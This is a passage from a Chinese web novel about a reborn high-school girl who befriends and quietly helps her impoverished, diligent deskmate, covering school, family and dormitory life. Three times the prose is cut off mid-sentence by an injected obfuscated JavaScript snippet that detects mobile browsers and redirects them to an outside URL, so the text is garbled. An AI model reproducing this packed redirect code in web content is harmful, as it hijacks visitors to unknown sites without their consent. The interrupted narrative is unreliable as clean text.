“没问题,谢谢我的宝贝陪我吃饭。”顾巍揉一揉女儿的头发。 光悦购物中心。 二楼图书商店,顾巍看着选了一摞教辅资料的女儿惊奇不已:“我的天,越越,你怎么开学两天突然爱学习了?” 顾宁越把厚厚的一摞书放进购物车,科目齐全,不仅有高二的,还有高一和初中的。 “妈,我换座位了,我的新同桌叫苏晴眉,你不知道她有多爱学习,放学都在做作业,随身带着单词本,我被她的勤奋刻苦感染了,我要向她学习。” “好啊!这些够吗?给苏同学也多买点。” “我也是这样想的。” 顾宁越从离开小食光就在思考,怎样才能报答苏晴眉,帮到她呢? 以顾宁越现阶段对苏晴眉的了解,苏晴眉谨小慎微但自尊心很强,连一包湿巾都不愿意接受,还要还一颗大虾酥,那直接送她新鞋和文具她肯定更不会要,必须尊重她。 苏晴眉是特别的。 她真的跟别人不一样。 顾宁越打赌,苏晴眉看到这一摞卷子一定会打心底里高兴。 5. 第 5 章 晚上十一点过,顾宁越坐在书房里,所幸刚开学作业不多,她做完了两科的练习册。 书房门被轻轻敲了两下,顾巍穿着睡袍,敷着面膜:“还不休息呀?” 顾宁越回头:“我再看会书,妈妈你先睡吧。” “这么用功,妈妈都不习惯了,你不要太累哦。想不想吃夜宵,我给你做点燕麦酸奶?” “不用啦,我如果想吃会自己做。” 顾巍点头,刚刚转身,又倒回来问她:“你能告诉妈妈为什么换座位吗?你上学期不是特意要跟茉茉同桌?这次的矛盾这么大呀,都不坐一块了?” 顾宁越没有直接回答顾巍的问题,而是关心地问她:“妈妈,如果我跟崔屿茉闹掰了,会影响你和崔叔叔的业务吗?你再申请资金,银行那边会不会为难你?” 顾巍的眼里流露出一丝惊讶,旋即欣慰地笑了,她走上前把顾宁越抱进怀里:“我的越越真是长大了,这么关心妈妈。你别担心,你想和谁交朋友都不会影响我的生意,退一万步说,就算真有什么麻烦,我换一家银行就好了,只要你过得开心。” 顾宁越反手抱住母亲,仰起脸弯弯眼睛:“嗯!” “那你看书,我不打扰你,早点睡啊。” “好,妈妈晚安。” “宝贝晚安。” 顾巍帮顾宁越关上了书房的门。 屋里亮着灯带和台灯,墙上贴着世界地图和全国地图,还有顾宁越高中时爱看的电影海报,一排大柜子堆满杂乱的书,一个小柜子收集各种模型和玩偶,书桌上有一台台式电脑和一台笔记本电脑,顾宁越一般在这个小书房里写作业,查资料。 顾宁越把大书柜整理一番,空出许多空间,她把新买的教辅资料分门别类地放进去,摆在左边。她还买了一些演艺、导演、摄影类的书籍,和一些岚江省规划发展回顾及展望相关的社科书,摆放在书柜的右边。 顾宁越看着满满当当的书柜心里非常踏实,上辈子当恋爱脑没有好下场,这辈子她要把所有精力都用来充实自己,学习知识,发展事业,将来财富自由,拥有超高的抗风险能力,让妈妈和大恩人苏晴眉都过上好日子。 “哈啊……”顾宁越打了个哈欠,洗澡睡觉。 她躺在温暖柔软的床铺里,困意很快袭来,再也没有上辈子参加工作后的失眠和头痛。 年轻就是好啊。顾宁越这样想着,巨大的幸福感笼罩心头。 * 第二早醒来都快十点了。 顾巍几乎不管顾宁越睡懒觉,除非第二天有事需要早起才会叫醒她,所以顾宁越在家通常都是睡到自然醒。 顾宁越起床后第一件事是看手机,顾巍给她留言说见客户去了晚上回家,早上钟点工阿姨做好了早午餐,热一热就能吃。 顾宁越洗脸刷牙,坐在梳妆台前对着日历发呆,好一会才清醒,虽然已经知道自己重生了,但时空的变换让她常常产生不真实的恍惚感,她可能还需要一段时间才能适应。 钟点工阿姨做了四喜蒸饺和蟹黄蛋羹,顾宁越把昨晚打包回来的猪扒热了,就着早餐一起吃。 过了会,别墅管家打了传呼过来,说顾巍的形象顾问来送保养好的衣服和包包,是否能给她放行,顾宁越大概记得有这么个人,以防万一她给顾巍打了个电话确认,才放心让形象顾问进前院。 形象顾问远远地看见顾宁越就热情地打招呼:“顾小姐上午好,高二开学怎么样?” 顾宁越笑了笑:“还好。” “顾小姐越来越漂亮了,这身衣裳很适合你。” 形象顾问让助手把衣服和包包搬运到玄关侧边的入户衣帽间,和顾宁越寒暄几句,从名片盒里拿出几张卡券给她:“顾小姐,这是我们彩妆工作室的新优惠活动,您和顾总有时间请一定光临。那我们就不打搅了,有什么问题请随时吩咐我,再见。” 顾宁越看了眼卡券,走到玄关柜前,顾巍在那放了个掐丝珐琅大圆盒,里面装满了各种会员卡、代金券之类的杂物,顾宁越把卡券丢进去,忽然灵机一动,把盒子抱到沙发上,一张一张仔细挑拣。 超市代金券,暂时没用。 蛋糕礼品卡,用不着。 美容充值卡,用不上…… 顾宁越翻找完一大堆卡券,终于找到她想要的:两张连锁洗衣店的代金券,洗衣洗鞋都能兑换。 顾宁越把洗衣店代金券装进笔袋,开始恶补高中知识。 星期一清晨,司机按点送顾宁越上学。 顾宁越背着鼓鼓囊囊的书包,还拎了一大袋,坐进副驾驶。 司机帮她把东西放进后备箱,绕到驾驶座上车:“早,今天拿这么多东西啊。” “赵姨早。” “诶,宁越,你以后放学不坐车的话要提前跟顾总说啊,上周五你和屿茉都不坐车,把我吓得够呛,顾总和崔行长把接送你们的任务交给我,我得对你们的安全负责。” 顾宁越看出来车的方向是往崔家,赌气:“赵姨,今天不带崔屿茉。” “啊?不接屿茉?”赵姨诧异地回头看她一眼,“这……顾总和崔行长都没跟我说过,我得按要求接屿茉才行。宁越,要是有什么变动你先跟顾总商量,再给我通知噢。” “嗯呢。”顾宁越郁闷地叹一口气,她知道这是赵姨的工作,不可能不打招呼就不接人。 接到崔屿茉,她跟赵姨和顾宁越说了早安,然后安安静静地坐在后座,她耳朵里塞着耳机,不知道是不是在听歌,全程无交流。 其实以前不管是上下学,还是其它时候,顾宁越和崔屿茉在一起,总是顾宁越说十句,崔屿茉回一句,上辈子顾宁越以为是崔屿茉天生高冷,她还就喜欢崔屿茉这股子清高气质,后来才发现,人家只是对她无感罢了。 顾宁越对着静默的空气无声地冷笑,她戴上耳机,播放雅思听力练习。 七点半到学校,顾宁越和崔屿茉一前一后下车。 从东校门停车场到教学区要走过一条百米通道,路过后校门区域就遇到了住校生大军,两个五班的同学看到她们,乐道:“嗨~校花和她的护花使者!” 崔屿茉抬头挺胸,笑靥如花,亲切地和同学打招呼:“凯莉,瑜瑜,早上好呀。” “茉茉早~” “早。”顾宁越加快脚步超过她们。 “顾宁越你走那么快干嘛,你居然敢不等茉茉?” “对不起,我腿长走得快,先走了。”顾宁越丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988986|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在意同学奇怪的眼神,大步流星地走向教学楼。 教室早上做过了卫生,地面还是湿的。 有的同学还在啃包子,有的在低声聊天,有的默默看书。 顾宁越走到阳台门口的座位,苏晴眉正在预习课文,她看到顾宁越来了,把椅子往右挪,方便顾宁越进去。 “早上好晴眉。”顾宁越坐下,先把一大袋书塞进坐椅旁的折叠书框,再把语文书和笔袋放到桌上。 “早。”苏晴眉从抽屉里拿出一本厚厚的教辅,“你的书,演算过程我用铅笔写在草稿纸上了,不过有一道题我不会做。” 顾宁越的视线落到她上周末故意给她的那本书上:“这个啊,不着急,可以先放你那吗,你看我这好多东西,都放不下了。” 苏晴眉也看到了她带来的一大袋书,说:“好。” 顾宁越瞥了一眼课桌下面,苏晴眉仍旧穿着那双解放鞋,她把肥大的裤脚少折了一圈,正好可以遮住鞋面的一大半,但苏晴眉挪脚时会露出鞋面上明显的大片污渍。 看来仅凭普通的方法洗不干净那片奶茶留下的痕迹。 顾宁越坐直腰,拉开笔袋,手指伸进去摸到代金券,朝苏晴眉转头:“晴——” “顾宁越,你出来一下。” 顾宁越在苏晴眉疑惑的目光下尴尬地起身,走出教室后门,一个戴着眼镜的瘦高男老师正一脸严肃地等着她。 教室外过道。 五班的班主任老郑推了下眼镜,语气变得温和:“顾宁越,你想换座位可以,是不是应该提前跟老师商量?” 顾宁越半鞠躬:“是!对不起郑老师,我本来想早自习以后跟你说的。” 老郑问:“理由呢?你那个座位不是挺好的?为什么搬到最后一排?你妈妈专门跟我打过招呼,要保护你的视力,你自己也要多注意。” “报告老师,因为我想和苏晴眉做同桌,她学习很刻苦,我要向她学习。” “那你坐最后能看清黑板吗?” “能,郑老师,我视力很好,谢谢您的关心。” 老郑想了想,说:“行吧,你就坐那。单论努力程度,苏晴眉的确是我们班最刻苦的,她是灾区来的,很不容易,你跟她坐同桌,多互相帮助。” “灾区?”顾宁越诧异地问,这倒是她不知道的。 “她是云山山区助学金组织安排来我们学校的,上学期转过来,你那天好像请假了。” “哦……”原来是这样,难怪顾宁越上辈子对苏晴眉一点印象都没有。 “好了,回去早读。” 顾宁越脑子里想着老郑说的话。 云山灾区,原来苏晴眉是云山县的。 云山县是桐溪市最贫困的地区,尤其是山区。去年云山山区发生了一场六级地震,引起了山体塌方和泥石流,苏晴眉的故校应该是那时候不幸被毁。 一阵酸楚涌上顾宁越的鼻子,她揉揉眼睛,坐回座位:“苏晴眉。” 苏晴眉从语文书里抬起头,两只清莹的眸子看着她:“?” 顾宁越从笔袋里抓出那两张洗衣店的代金券,放到苏晴眉的语文书上:“这个给你,可以洗鞋子。” “谢谢,我不要。” 6. 第 6 章 顾宁越精心设计的好意被拒绝了。 但是无碍,这在她的意料之内,计划之中。 顾宁越早就想好了怎么回应,她跟苏晴眉说:“这个洗衣店是连锁品牌,后校门就有一家,洗衣洗鞋都很干净。我妈妈经常在这家洗东西,老板送了一些代金券,好多还没用,你看这个,下个月就过期了。” 说着,顾宁越把代金券翻到背面,上边用红色油墨印着到期日期,截止到十月。 “这些券都是花了钱才送的,要是过期作废就浪费了。” 苏晴眉听到“浪费”两个字明显蹙了蹙眉,表情也从一开始的抗拒变成了犹豫:“你家里能用吧,还有一个月……” 顾宁越忙道:“我家的够用。我不是麻烦你帮我看题嘛,我们是同桌,以后我还有很多学习上的问题想请你帮忙,你就拿着吧。” 苏晴眉看了两秒夹在语文书里的代金券,眼神凝重,像是做了一番心理斗争,才不好意思地说:“那我就收下了,谢谢你。我的基础不是很好……我们一起努力。” 语文早读后连着语文课,老郑点了一竖排轮着朗读课文,然后点名同学来讲对课文的感受。 下课以后老郑单独跟崔屿茉说了几句,崔屿茉微笑着点头,之后她的旁边就一直空着,顾宁越估计是老郑跟她讲了座位的事,现在大家都坐的好好的,不方便调动,要做调整也得是第一次月考后重新选座。 顾宁越上午上了几节课,虽然高中的知识忘得差不多,但毕竟都是学过的内容,重温一下很快就想起来了,上手也很快,只是牵涉多板块知识点的运用顾宁越要差一点,她会下课翻翻高考汇总资料,也会问问苏晴眉。 苏晴眉见她从书框里拿出《高考总复习思维导图》,惊愕地张大了眼,腼腆地借过去看,顾宁越乐呵呵地顺给了她几套理综名校真题卷,苏晴眉以为她又有不会的题要帮忙,便一起收好放进抽屉,一有空闲就会拿出来琢磨,顾宁越对此感到骄傲又满足,看,她就说吧,苏晴眉一定会喜欢她送的卷子。 上午最后一堂课是音乐,因为高二刚开学,音乐老师难得没有“请假”,用多媒体展示名家名作,教大家作画,同学们都很爱这节课,因为音乐老师会提前五分钟下课。提前五分钟啊,谁懂食堂抢饭能够抢先五分钟到达战场的含金量? 不过抢饭这件“学生大事”在顾宁越上辈子的高中时期是没有过的。 桐溪实验中学的食堂有三层楼,一二楼是按年级和班级划分的普通窗口,三楼是设置有包间的小炒窗口。三个楼层都是刷饭卡,普通窗口是大锅饭,几块钱一份,小炒窗口按菜品收费,价格比较贵。 学校里除了食堂还有一个超市,有时候学生不想吃食堂可以去小超市买泡面烤肠,除此之外还有些胆子大的敢趁人多的时候偷偷在校门口买盒饭。 顾宁越高中吃饭不属于以上任何一种,她是顾巍给一位住在教室公寓的退休教师交了伙食费,每天午饭和晚饭可以去老教师家里吃现做的营养餐。现在顾宁越不想去了,因为崔屿茉也在那定的餐,她一想到每天吃饭的时候要对着崔屿茉的脸就恶心得想吐。 苏晴眉一听到音乐老师说下课就百米冲刺抢饭去了,顾宁越还没来得及跟她说话,苏晴眉已经跑出了教室,被抢饭大军的背影淹没。 “!”顾宁越望着那群疾风一般的同学,让她想起了地铁里早高峰冲刺的打工人,不禁苦笑。 教室里差不多走空了。 顾宁越寻思自己怎么办呢,其他班还没下课,应该还来得及抢饭吧。 “宁越,还不去吃饭?”两列课桌之间的过道走过来一个人。 顾宁越闻声看去,女生扎着短短的低马尾,双手插在衣兜里,一脸睡不醒的模样。 顾宁越想了一会才记起,这是庄晓,现在坐她前桌,她们以前初中一个班,不过高中以后关系没多亲近,属于见面了能聊几句的普通同学,高中毕业以后就彻底没联系了。 “待会去。” “用我帮你带桶泡面吗?” 听庄晓这话,好像已经猜出了顾宁越不会去教师公寓吃饭。 顾宁越回她道:“不用,谢了。” 庄晓走出教室后门,漫不经心地跟顾宁越挥手,外面有个女生在等她,是隔壁文科四班的,他们是体育课,放得也早。 那个女生对顾宁越笑着说了声“嗨”,转头拉出庄晓压在校服下面的连帽衫帽子,往帽子里塞了两包霸王丝。 庄晓无奈地瞥了女生一眼,安静听她绘声绘色地讲上午的趣事,两个人慢悠悠地走了。 顾宁越从书包里找出饭卡,先到操场旁边的小卖部买烤肠。 老板把烤肠蘸上辣椒粉给她:“同学,你还要啥不?” 顾宁越扫视柜台上的零食,莫名想到刚才庄晓帽子里的辣条:“再来一包霸王丝……” 也不知道苏晴眉吃不吃辣,甜的也买点。 “还要一袋绿豆饼。” 顾宁越吃着烤肠上到食堂三楼,看了会小炒的价目表,份量比较多,她估摸自己点一个菜就够了。 虽然三楼人不多,但是小炒只有一个窗口,三个年级的学生都来这,有的老师也会来,所以也得排队。 顾宁越排队的时候又遇到庄晓了,她和四班女生合买了两菜一汤。顾宁越跟她们打招呼,四班女生自来熟地招呼她一块吃。 “你好啊顾宁越,我叫乔梦灵,是四班的,庄晓说你是她初中同学?” “嗯,是。” “我好倒霉,初中没能和庄晓一个学校,高中又分科了。” “你们初中以前就认识?” “对啊,我和庄晓幼儿园就是好朋友。” 乔梦灵看到顾宁越放在餐桌上的小零食:“你也喜欢吃霸王丝?” 顾宁越笑了笑:“我在教室看到你的霸王丝,也去买了一包。” “有品位,我跟你说——” “吃饭,一会菜冷了。”庄晓冷不丁开口。 乔梦灵止住话头,端起碗扒饭:“知道了知道了。” 可惜乔梦灵不是个能安静下来的人,她像百灵鸟一样活泼,问顾宁越:“你住校了吗?” 顾宁越不明白她为什么这样问:“没有,怎么了?” “哦……”乔梦灵把筷子伸向番茄炒蛋里被庄晓剩下的一大堆炒蛋,“因为以前都没在食堂见过你,庄晓说你在教师公寓吃饭,今天你突然来食堂,我以为你要住校。” 顾宁越了然:“我打算退了教室公寓那边,以后就吃食堂。” 乔梦灵高兴道:“好呀,那以后我们仨吃,还能多加俩菜。” 庄晓没应声。 顾宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988987|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越连忙说:“可能不行,有机会的话我请你们,平时我在一二楼。” “唉,那好吧,我还以为能多个人吃饭,人多热闹嘛。来,快吃快吃。庄晓,你又挑食,炒蛋那么好吃,你为什么不吃蛋……” 乔梦灵说的话提醒了顾宁越,住校是个好方法,不仅能和崔屿茉划清界限,还能和同为住校生的苏晴眉有更多话题。 顾宁越决定今晚回家和顾巍说她想住校。 吃完午饭,顾宁越回教室午休。 教室里大部分是走读生,还有几个没有午睡习惯的住校生,在教室里写作业或者看课外书。 苏晴眉正在写作业,听到脚步声抬起头:“你怎么来了?” 顾宁越顺势坐进座位:“午休啊。” “你以前中午都不在教室。” “之前我在教师公寓吃饭,顺便有个房间午休,不过这学期开始我不去了。” “噢。”苏晴眉不多问,继续算题。 顾宁越整理好桌面,摊开一本练习册,边看题边撕开霸王丝的包装袋,飘开一股香辣味。 “晴眉,吃辣条。”她把霸王丝往右递。 苏晴眉停下笔:“谢谢我不吃,我不太能吃辣。”接着动笔。 顾宁越弯起嘴角,打开绿豆饼:“那你吃这个,这不辣。” 苏晴眉看向她,欲言又止,顾宁越说:“一袋有四个,你吃一个吧,我们是同桌,你别那么客气。” “好……谢谢。” 下午有节体育课,等晚饭以后上自习,顾宁越发现苏晴眉换了一双单薄的黑色老布鞋,像农村老奶奶穿的鞋一样。 顾宁越突然明白为什么苏晴眉白天要穿那双脏了的解放鞋,因为上午大课间要跑操,下午有体育课,苏晴眉除了那双解放鞋,可能没有别的适合运动的鞋了。 顾宁越顿时眼眶发热,就是这么一个节俭的女孩,上辈子不知道吃了多少苦,用那么瘦小的肩膀扛起生活的重担,闯出一片天地,再用自己的血汗钱为她生命的最后时光撑起了一片天…… 顾宁越缓了缓,悄悄对苏晴眉说:“那个券,你记得要用哦。” 苏晴眉做着卷子,点头:“嗯。” 住校生上三节晚自习,走读生只上两节晚自习。 第二节晚自习快下课的时候,前桌的庄晓突然传给顾宁越一个小纸团。 顾宁越莫名其妙地接过来:“什么东西。” 庄晓耸肩表示不知道:“前面传的。”扭头继续看书。 顾宁越不小心瞄到前面,眼里闪过一丝震惊,她以为庄晓在背书,没想到庄晓看了一节课的《极简宇宙史》。在顾宁越的记忆里,庄晓的成绩排得上班里前五,又爱打瞌睡又爱看闲书还能成绩靠前,也算是个学神。 顾宁越展开纸团,皱巴巴的纸条上写着: 顾宁越,你为什么冷暴力茉茉?居然还专门跟黑妹坐,你就是故意气茉茉!你必须给我一个解释,不然作为茉茉最好的闺蜜,我不会放过你! 顾宁越一脸鄙夷,根本不惯着,举手就是一个报告:“郑老师,有人上课给我传纸条,影响我学习。” 第四排的曹慧回头瞪她。 顾宁越把纸条上交班主任,指向曹慧:“她还瞪我。” 噗嗤,几个同学忍不住笑出了声,曹慧的脸胀得红红的。 7. 第 7 章 教室里满是窃窃私语,老郑严厉地说:“安静。” 同学们立马停止交头接耳继续学习,但还是有几个好奇心重的忍不住偷看。 老郑皱着眉看完顾宁越递的纸条,走到曹慧的座位边,小声叫她:“下课到办公室。” “哦。” 曹慧眼神羞愤,她怎么也想不到顾宁越能这么无耻!有本事就放学约后校门假山,跟老师打小报告算什么英雌! 顾宁越坦然得很,该做什么做什么,晚上回家她还要和顾巍商量住校的事,得提前收拾书包早点回去。 苏晴眉在顾宁越举手报告的时候也很诧异,但是顾宁越做事自有她的道理,她向来这样勇敢,不拘小节。 苏晴眉很好奇曹慧到底写了什么气得顾宁越当众告老师。 班里除了顾宁越,当数曹慧和崔屿茉走得最近,这几天顾宁越跟崔屿茉闹矛盾,曹慧给顾宁越传纸条应该也是为了这个。 顾宁越到底和崔屿茉怎么了?她要在最后一排坐多久? 不管怎样,等顾宁越的气消了,她就会跟崔屿茉和好,搬回原来的座位吧…… 下课铃响起,走读生陆陆续续地放学。 苏晴眉拿起化学练习册正要起身,顾宁越背起书包走出座位:“拜拜晴眉,明天见。” “嗯,再见。” 苏晴眉等她先出教室后门,跟着也走出去,目送她出了教学楼,才带着练习册走向一楼办公室。 咚咚。 “报告。” 苏晴眉找到化学老师问作业,老师和蔼地为她讲解,甚至会给她补充一些初中的内容。 各科老师都对这个用功的学生很有耐心,他们都知道这孩子基础薄弱,光凭有限的知识能达到中上水平已是难能可贵。 “管别人的事做什么呢?谁和谁交朋友你能决定?把心思放在学习上……” 一旁飘来老郑的声音,他的办公桌和化学老师离得很近,只隔了一条走道。 苏晴眉问完题,从老郑的桌前走过,曹慧站在旁边垂着头沉默,苏晴眉听到老郑说:“不能给同学取绰号,很不尊重人,明白吗,如果有人故意取笑你,你会好受吗?如果你知道了这样会让人难过还故意为之,这种行为就是‘坏’,是恶意。你是很优秀的学生,老师相信你能明辨是非,以后不要这样了,好吗……” 苏晴眉垂下睫毛,快速走出办公室。 “绰号”,“取笑”,“不尊重人”,这几个词让她联想到班里的同学叫她的“黑妹”。 她的皮肤确实很黑,这是事实,因为父亲生前是药农,她从小帮着家里锄地、浇水、捉虫、晒制,面朝黄土背朝天,长期风吹雨淋烈日暴晒,皮肤就是又黑又粗糙。苏晴眉原以为这辈子都要在山里种药采药,但没想到居然还有机会坐进城里的教室学习,她万分珍惜这个来之不易的机会。 所以同学们说苏晴眉黑,她能接受。 但苏晴眉不明白为什么有同学说她邋遢,说她臭,明明她每天擦澡泡脚,用肥皂把衣服鞋袜都洗得很干净,寝室的床位和教室的桌椅也都打扫得很干净,根本不脏也不臭,问题到底出在哪里? 苏晴眉低下头,双手抱住练习册,穿过人来人往的走廊。 崔屿茉提醒顾宁越不要坐“黑妹”旁边,老郑看过纸条以后教导曹慧不要取绰号取笑同学…… 苏晴眉忽然想:难道顾宁越是因为曹慧在纸条里写了“黑妹又脏又臭”之类的话才那么生气的? 苏晴眉的心中生起一片温暖。 顾宁越和其他不是取笑她就是冷漠无视的同学不一样,顾宁越会在她最窘迫的时候挺身而出,向她伸出援手,为她打抱不平。顾宁越正直,勇敢,大方,像冬夜里熊熊燃烧的火焰,照亮黑暗,炽热发烫。 苏晴眉回到座位,看了看左边无人的桌椅,空荡荡的,不过明天早上顾宁越就又会坐在那了。 苏晴眉把藏在饭卡套里的两张洗衣店代金券拿出来看了一会,嘴角露出不易察觉的微笑,第三节晚自习的上课铃响起,她打了个激灵,立马把代金券放回去,埋头做题。 夜空里挂着弯弯的月亮。 女生宿舍。 305寝室有四套上床下桌,但晚上只有两个人住。 苏晴眉坐在桌前做卷子。 有一道顾宁越做了记号的题她算了很久都没解出来,于是她找出卷子的解析,边看边演算。 阳台外走进来一个戴发箍的女生,她把漱口杯放到置物架:“快熄灯了,你洗好了吗?” “唔?”苏晴眉抬头望墙上的钟,赶忙去拿毛巾和盆子,“还没,谢谢你提醒我,钱丽。” 熄灯就会停热水,还会有生活老师来巡检,到时候就没法好好洗漱了。 钱丽看苏晴眉桌上的卷子:“你在看什么这么入迷?洗好了再看呗……真题卷?这不是你买的吧?” “嗯……我同桌的,她借给我看。”苏晴眉用毛巾擦脸,回头跟室友说话。 “你同桌?噢!顾家大小姐啊?” “大小姐?” “我说的是顾宁越,你不知道光悦购物中心是她家开的吗?她超级有钱,不然你以为崔屿茉为什么跟她玩,老郑也对她很偏心。” 苏晴眉挤牙膏的手顿了顿,转向镜子刷牙:“她人很好。” 钱丽轻笑一声,把充电小台灯拿到床上:“有钱当然好咯。” 苏晴眉吐掉泡沫,对着镜子皱眉。 她不喜欢给人贴标签,不管是又脏又臭的“黑妹”,还是被偏心的“大小姐”,都是在不了解别人的情况下给人强行下的定义,没有一点对别人的尊重。 宿舍里播放熄灯铃,苏晴眉迅速洗漱,她把毛巾挂到架子上,头顶的灯忽然熄灭。 上铺亮起一盏明亮的小灯,钱丽坐在床上铺开了小桌板,她从笔袋里拿出一支签字笔换笔芯,看到对床下面的苏晴眉打开了一个老式手电筒,光线非常微弱。 苏晴眉把电筒放在卷子上,勉强能看见题干,她趴在桌上眯眼睛,把铅笔写过的草稿笔记擦掉重新写,这样能节省草稿本。 钱丽写了几个字,又看看下边,轻轻叹气,把小灯往床铺的边缘挪了点,灯光照到苏晴眉桌面的范围扩大了。 “苏晴眉,你要不还是买个充电台灯吧,你那样用电筒对眼睛不好,而且换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988988|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电池也要花钱。” 钱丽抓了抓头发,眼神回忆:“我今天看到文具店欢迎高一新生,打八折,你去看看,可能有优惠的小台灯。” 苏晴眉停下笔,转头望向上铺:“有打折?胖叔叔还是钟阿姨?” 后校门内侧,小超市旁边挨着两家文具店,一家的老板是个富态的男人,店名叫胖叔文具,另一家的老板是位青年女性,姓钟,大家就用钟阿姨代称她的店。 “都在打折,他们两家你又不是不知道,死对头,一家搞活动另一家肯定也要搞。” “嗯……” “哎,你化学作业写完了吗?” “写好了。” “最后一道题怎么做啊?” 苏晴眉走到钱丽的床边,接过她递归来的练习册:“我问了易老师,是这样的……” 钱丽弄懂那道题后就关灯睡觉了,寝室里瞬时黑暗,苏晴眉打着电量不足的手电筒继续算题。 电筒的光线越来越弱,最后完全消失,苏晴眉把电池抠出来重新上回去,依旧不起作用,她只能收起卷子,和笔一起装进包里,准备睡觉。 苏晴眉走到窗边,把窗帘拉开一小条缝隙,让外面操场上的路灯光照进来一点。 她回到桌前,打开右边柜子的锁,从一叠衣服下面拿出一个用手绢包裹的牛皮信封,把里面的东西倒出来。 十块,五块,一块,五角,五角,一角。 一个充电小台灯打八折也得十几块,她这…… 苏晴眉心里算着账,要是卖十六元以内她就能买,虽然会花掉手里的所有存款,但是妈妈应该很快就会给她这个月的生活费。 叮铃铃铃! 角落的座机电话突然响铃,尖锐的铃声划破夜色,把寝室里的两人吓了一跳。 宿舍是许多年前修的,那时候移动电话还不普及,大部分学生都用电话IC卡,学校就给每个寝室配了座机方便和家里联系,一直留用到现在。 苏晴眉连忙接起电话:“喂?” “晴晴,是我。” 上铺传来钱丽盖被子蒙头的窸窣声,苏晴眉尴尬地用手捂住话筒,把声音压得很低:“妈妈,我跟你说过晚上十一点以后不能打电话——” “院里好多活,我才干完哩!我今天跟你小叔和婶婶下田,你到大城市里过好日子去了,你是不知道这田里、院里有多少活。你说你爹走了,你又没有兄弟,家里没个男人,田地就不好弄,幸亏你爷爷和小叔还能帮衬着,不然隔壁张三家的早把大头菜种过来了……” 苏晴眉深吸一口气,握紧话筒:“妈,你没什么事我就挂了,我们寝室早就熄灯了,我室友在睡觉。” “噢噢,好好好,对不起啊晴晴,妈妈就是太想你了,想跟你说说话。” “嗯,我也想你妈妈,那我先挂了。” “等等,那个,晴晴啊,最近家里买了新种子,还有化肥,虫药,用钱很紧张……所以你这学期的爱心助学金和捐助品,你爷爷就先借着用了。” 短暂的沉默。 漆黑的角落里,苏晴眉用手紧紧捂住嘴里的呜咽,努力不让眼眶中的泪珠掉下来。 8. 第 8 章 “晴晴,你怎么不说话?你在听吗?” 苏晴眉调整呼吸,仰脸擦干眼角:“嗯。” “妈妈知道你有点不高兴,但那是借给你亲爷爷,你爸不在了,我们家都得靠他,这些年多亏了有你爷爷和小叔撑着,村里那群地痞流氓才不敢欺负我们娘俩。我一忙完就想着赶紧给你说,你这个月的生活费暂时寄不过来。不是给了你钱交学费吗,肯定有剩的,你在城里打工还能挣嘞,你先节约着手里的用,等过段时间家里的芎藭卖了,有钱了,我再给你寄。” 苏晴眉艰难地咽下一口气,眉间凝成一团隐忍的哀愁,她黑色的眼珠幽幽的,像泡在冰水里:“我知道了。” “好,那妈妈不说了,这手机话费不少哩。晴晴你乖啊,我挂了。” “妈妈再——” 嘟,嘟,嘟…… 电话被对面挂断了。 苏晴眉看了看桌上已经不亮的手电筒和六张纸币,轻手轻脚地把电筒放进抽屉,再把纸币一张一张收回信封,锁进衣柜。 有什么办法呢,睡觉吧。 东市区,临仙府别墅。 双层洋房灯火通明。 “你爱的酸辣粉,这边有辣酱和醋包,来宝贝,慢点吃。” “哇,好久没吃妈妈做的酸辣粉了,好香!” “那是,你老妈我的厨艺还是很不错哒~” 顾宁越吹吹凉,迫不及待地嗦了一口粉,爽滑劲道,特别香:“好吃!妈,你做的酸辣粉太好吃了。” 顾巍笑着弯弯眼睛:“喜欢吃妈每天给你煮。”她坐在一边剥柚子:“食堂的菜难吃吗?你今天晚饭都没吃饱。” “小炒还行。”顾宁越放学一回家就跟顾巍说了想住校的事,顾巍同意后便跟学校教务处的高处长联系。 “那怎么能和吴老师家里的菜比?吴老师是有营养师资格证的。等你住校了就要天天吃食堂,我怎么能放心……诶,我问问教师公寓还有没有其他老师做饭桌,我们不在吴老师那吃就再换一家嘛。” 顾宁越按住顾巍拿手机的手:“妈,谢谢你的关心,但是真的不用了,我住宿就是想融入集体生活,也能更好地学习,食堂的饭菜吃习惯了挺好的,我还能带很多吃的去宿舍,学校里还有超市,缺什么都能买。” 顾巍听她分析得有理有据,这才放心:“好,你心里有计划就好,妈妈照你说的办。” 顾宁越撒娇地跟顾巍要了个抱抱,给碗里加了点醋和肉臊,大快朵颐。 顾巍看着女儿大口吃粉,脸上不由浮现出满足的笑容。 手机亮屏,她打开新消息,对顾宁越说:“越越,高处长回复我了,她说明天就去学生处安排,不过住宿登记工作都做好了,临时调整需要等几天,到时候通知我们。” 